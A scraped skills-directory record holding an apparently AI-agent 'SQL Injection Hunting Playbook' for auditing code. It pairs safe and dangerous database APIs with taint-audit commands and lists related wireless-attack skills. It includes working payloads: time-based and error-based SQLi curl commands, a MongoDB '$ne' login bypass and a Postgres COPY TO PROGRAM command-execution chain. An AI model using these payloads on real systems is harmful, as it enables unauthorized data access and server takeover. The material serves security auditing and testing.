[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DF5KAS1D8KXGXR93PQ0M9Y":3,"skill-same:01M7DF5KAS1D8KXGXR93PQ0M9Y":48},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":28,"commitSha":29,"skillDirectory":30,"forksCount":14,"repositoryHtmlUrl":31,"repositoryHomepageUrl":6,"ownerHtmlUrl":32,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":33,"install":34,"resources":47},"01M7DF5KAS1D8KXGXR93PQ0M9Y","sql-injection",null,"Hunt SQL injection (CWE-89) via source-level taint tracking. Covers string concat, format-string, ORM raw queries, second-order injection, and NoSQL injection in MongoDB\u002FDynamoDB.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fanalyst\u002Fsql-injection\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: sql-injection\ndescription: Hunt SQL injection (CWE-89) via source-level taint tracking. Covers string concat, format-string, ORM raw queries, second-order injection, and NoSQL injection in MongoDB\u002FDynamoDB.\nmetadata:\n  subdomain: web-exploitation\n  when_to_use: \"sql injection sqli cwe-89 taint tracking string concat format orm raw second order nosql mongodb dynamodb\"\n  mitre_attack: T1190\n---\n\n# SQL Injection Hunting Playbook\n\nClassic, still the king. Modern ORMs reduce the surface area but every\ncodebase has escape hatches (raw queries, dynamic table names, LIKE\nfragments) where taint tracking pays off.\n\n## 1. Sources\nAnything accepting untrusted input: query params, form bodies, headers,\ncookies, JWT claims, file contents parsed as config, message-queue payloads.\n\n## 2. Sinks by language\u002Fframework\n\n| Language | Safe API                         | Dangerous API                                       |\n|----------|----------------------------------|-----------------------------------------------------|\n| Python   | `cursor.execute(sql, params)`    | `cursor.execute(f\"... {user}\")`, `%`-format         |\n| Python   | SQLAlchemy `text().bindparams`   | `text(f\"... {user}\")`, `raw_sql`                    |\n| Python   | Django ORM filter kwargs         | `Model.objects.raw(...)`, `.extra(where=[...])`     |\n| Node     | `pg.query(text, params)`         | Template literals with user data                    |\n| Node     | Prisma `$queryRaw\\`...\\``        | `$queryRawUnsafe(userString)`                       |\n| Java     | `PreparedStatement`              | `Statement.executeQuery(string + user)`             |\n| Java     | JPA criteria                     | `entityManager.createNativeQuery(user + sql)`       |\n| Go       | `db.Query(text, args...)`        | `fmt.Sprintf` → `db.Query`                          |\n| Ruby     | Rails `where(\"col = ?\", x)`      | `where(\"col = '#{x}'\")`, `find_by_sql(interp)`      |\n| PHP      | PDO prepared                     | `mysqli_query($conn, $user . $sql)`                 |\n\n## 3. Taint audit steps\n\n```bash\n# Semgrep covers 80% of obvious cases\nsemgrep --config p\u002Fsql-injection \u002Fworkspace\u002Fsrc --sarif -o \u002Fworkspace\u002Fsem-sqli.sarif\nkg_ingest_sarif(\"\u002Fworkspace\u002Fsem-sqli.sarif\", \"semgrep\")\n\n# Grep for the high-signal patterns semgrep misses (dynamic order\u002Fgroup by)\ngrep -rE 'ORDER BY.*\\$|LIMIT.*\\$|GROUP BY.*\\$' \u002Fworkspace\u002Fsrc\ngrep -rE 'execute\\s*\\(.*f[\"\\']|execute\\s*\\(.*%.*%' \u002Fworkspace\u002Fsrc\n\n# Django raw + extra (scanner blind spot)\ngrep -rE '\\.raw\\(|\\.extra\\(' \u002Fworkspace\u002Fsrc\n\n# Second-order: anything that stores user input then queries by it unescaped\ngrep -rE 'INSERT INTO.*VALUES.*\\?|UPDATE.*SET' \u002Fworkspace\u002Fsrc\n```\n\n## 4. Dynamic table\u002Fcolumn sinks — the interesting subclass\n\nORMs parameterize values but NOT identifiers. If the code does:\n```python\ncursor.execute(f\"SELECT * FROM {tenant}_users WHERE id=%s\", (uid,))\n```\nthe table name is user-controlled. Check whether `tenant` is validated\nagainst an allowlist. If not, this is trivial RCE on Postgres\n(`; DROP ... ; COPY ... TO PROGRAM 'bash -c ...' --`).\n\n## 5. NoSQL injection\n\n| DB       | Dangerous                                    | Safe                              |\n|----------|----------------------------------------------|-----------------------------------|\n| MongoDB  | `db.users.find({name: req.body.name})`       | `find({name: String(req.body.name)})` |\n| Firebase | `db.ref(req.query.path)`                     | path allowlist                    |\n| Dynamo   | Filter expressions built from strings        | `ExpressionAttributeValues`       |\n\nClassic Mongo bypass: `{\"username\": \"admin\", \"password\": {\"$ne\": null}}`.\n\n## 6. Second-order injection\n\nMost dangerous variant. The sink query reads from a previously stored\nvalue that was user-controlled. Missed by 90% of scanners because the\ntaint breaks at the DB boundary.\n\nAudit approach: any column that stores user input and is later\nconcatenated into another query is a candidate. Grep for the column\nname across the repo.\n\n## 7. PoC + validation contract\n\n```bash\n# Blind time-based\ncurl \"https:\u002F\u002Ftarget.com\u002Fsearch?q=1' AND SLEEP(5)-- -\"\n# Success: response time > 5s\n\n# Error-based\ncurl \"https:\u002F\u002Ftarget.com\u002Fsearch?q=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -\"\n# Success: mysql error with version string reflected\n```\n\n`validate_finding` contract:\n- success_patterns: `version\\(\\)`, `mysql`, `postgres`, `sleep.*5`,\n  `syntax error near`, `ORA-01756`\n- negative_command: same URL with `q=1` (no payload)\n- negative_patterns: same error string (if present without payload, it's\n  unrelated noise — demote)\n\n## 8. Default CVSS\n\n| Variant                         | Score | Notes                          |\n|---------------------------------|-------|--------------------------------|\n| Authenticated read-only SQLi    | 6.5   | C:L I:N A:N, PR:L              |\n| Unauth blind SQLi               | 7.5   | C:H I:N A:N, PR:N              |\n| Unauth error-based SQLi         | 8.6   | C:H I:L A:N                    |\n| Unauth → OS command (xp_cmdshell, COPY TO PROGRAM) | 9.8 | C:H I:H A:H |\n\nVector for the 9.8: `AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H`.\n\n## 9. Chain promotion\n\nSQL injection often enables:\n- Credential dump → `auth_as` edge → internal user node\n- File read → `leaks` edge → secret node (config.php, .env)\n- xp_cmdshell → `enables` edge → new shell\u002Frce node\n","# SQL Injection Hunting Playbook\n\nClassic, still the king. Modern ORMs reduce the surface area but every\ncodebase has escape hatches (raw queries, dynamic table names, LIKE\nfragments) where taint tracking pays off.\n\n## 1. Sources\nAnything accepting untrusted input: query params, form bodies, headers,\ncookies, JWT claims, file contents parsed as config, message-queue payloads.\n\n## 2. Sinks by language\u002Fframework\n\n| Language | Safe API                         | Dangerous API                                       |\n|----------|----------------------------------|-----------------------------------------------------|\n| Python   | `cursor.execute(sql, params)`    | `cursor.execute(f\"... {user}\")`, `%`-format         |\n| Python   | SQLAlchemy `text().bindparams`   | `text(f\"... {user}\")`, `raw_sql`                    |\n| Python   | Django ORM filter kwargs         | `Model.objects.raw(...)`, `.extra(where=[...])`     |\n| Node     | `pg.query(text, params)`         | Template literals with user data                    |\n| Node     | Prisma `$queryRaw\\`...\\``        | `$queryRawUnsafe(userString)`                       |\n| Java     | `PreparedStatement`              | `Statement.executeQuery(string + user)`             |\n| Java     | JPA criteria                     | `entityManager.createNativeQuery(user + sql)`       |\n| Go       | `db.Query(text, args...)`        | `fmt.Sprintf` → `db.Query`                          |\n| Ruby     | Rails `where(\"col = ?\", x)`      | `where(\"col = '#{x}'\")`, `find_by_sql(interp)`      |\n| PHP      | PDO prepared                     | `mysqli_query($conn, $user . $sql)`                 |\n\n## 3. Taint audit steps\n\n```bash\n# Semgrep covers 80% of obvious cases\nsemgrep --config p\u002Fsql-injection \u002Fworkspace\u002Fsrc --sarif -o \u002Fworkspace\u002Fsem-sqli.sarif\nkg_ingest_sarif(\"\u002Fworkspace\u002Fsem-sqli.sarif\", \"semgrep\")\n\n# Grep for the high-signal patterns semgrep misses (dynamic order\u002Fgroup by)\ngrep -rE 'ORDER BY.*\\$|LIMIT.*\\$|GROUP BY.*\\$' \u002Fworkspace\u002Fsrc\ngrep -rE 'execute\\s*\\(.*f[\"\\']|execute\\s*\\(.*%.*%' \u002Fworkspace\u002Fsrc\n\n# Django raw + extra (scanner blind spot)\ngrep -rE '\\.raw\\(|\\.extra\\(' \u002Fworkspace\u002Fsrc\n\n# Second-order: anything that stores user input then queries by it unescaped\ngrep -rE 'INSERT INTO.*VALUES.*\\?|UPDATE.*SET' \u002Fworkspace\u002Fsrc\n```\n\n## 4. Dynamic table\u002Fcolumn sinks — the interesting subclass\n\nORMs parameterize values but NOT identifiers. If the code does:\n```python\ncursor.execute(f\"SELECT * FROM {tenant}_users WHERE id=%s\", (uid,))\n```\nthe table name is user-controlled. Check whether `tenant` is validated\nagainst an allowlist. If not, this is trivial RCE on Postgres\n(`; DROP ... ; COPY ... TO PROGRAM 'bash -c ...' --`).\n\n## 5. NoSQL injection\n\n| DB       | Dangerous                                    | Safe                              |\n|----------|----------------------------------------------|-----------------------------------|\n| MongoDB  | `db.users.find({name: req.body.name})`       | `find({name: String(req.body.name)})` |\n| Firebase | `db.ref(req.query.path)`                     | path allowlist                    |\n| Dynamo   | Filter expressions built from strings        | `ExpressionAttributeValues`       |\n\nClassic Mongo bypass: `{\"username\": \"admin\", \"password\": {\"$ne\": null}}`.\n\n## 6. Second-order injection\n\nMost dangerous variant. The sink query reads from a previously stored\nvalue that was user-controlled. Missed by 90% of scanners because the\ntaint breaks at the DB boundary.\n\nAudit approach: any column that stores user input and is later\nconcatenated into another query is a candidate. Grep for the column\nname across the repo.\n\n## 7. PoC + validation contract\n\n```bash\n# Blind time-based\ncurl \"https:\u002F\u002Ftarget.com\u002Fsearch?q=1' AND SLEEP(5)-- -\"\n# Success: response time > 5s\n\n# Error-based\ncurl \"https:\u002F\u002Ftarget.com\u002Fsearch?q=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -\"\n# Success: mysql error with version string reflected\n```\n\n`validate_finding` contract:\n- success_patterns: `version\\(\\)`, `mysql`, `postgres`, `sleep.*5`,\n  `syntax error near`, `ORA-01756`\n- negative_command: same URL with `q=1` (no payload)\n- negative_patterns: same error string (if present without payload, it's\n  unrelated noise — demote)\n\n## 8. Default CVSS\n\n| Variant                         | Score | Notes                          |\n|---------------------------------|-------|--------------------------------|\n| Authenticated read-only SQLi    | 6.5   | C:L I:N A:N, PR:L              |\n| Unauth blind SQLi               | 7.5   | C:H I:N A:N, PR:N              |\n| Unauth error-based SQLi         | 8.6   | C:H I:L A:N                    |\n| Unauth → OS command (xp_cmdshell, COPY TO PROGRAM) | 9.8 | C:H I:H A:H |\n\nVector for the 9.8: `AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H`.\n\n## 9. Chain promotion\n\nSQL injection often enables:\n- Credential dump → `auth_as` edge → internal user node\n- File read → `leaks` edge → secret node (config.php, .env)\n- xp_cmdshell → `enables` edge → new shell\u002Frce node\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27},"web-exploitation","sql injection sqli cwe-89 taint tracking string concat format orm raw second order nosql mongodb dynamodb","T1190","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fanalyst\u002Fsql-injection","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add Akapi895\u002Fraptix --skill sql-injection",{"tool":40,"command":41},"bunx","bunx skills add Akapi895\u002Fraptix --skill sql-injection",{"tool":43,"command":44},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill sql-injection","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fanalyst\u002Fsql-injection\u002FSKILL.md",true,[],[49,56,63,70,77,84],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":57,"name":58,"nameZh":6,"description":59,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":60,"categories":61,"keywords":62,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":64,"name":65,"nameZh":6,"description":66,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":67,"categories":68,"keywords":69,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]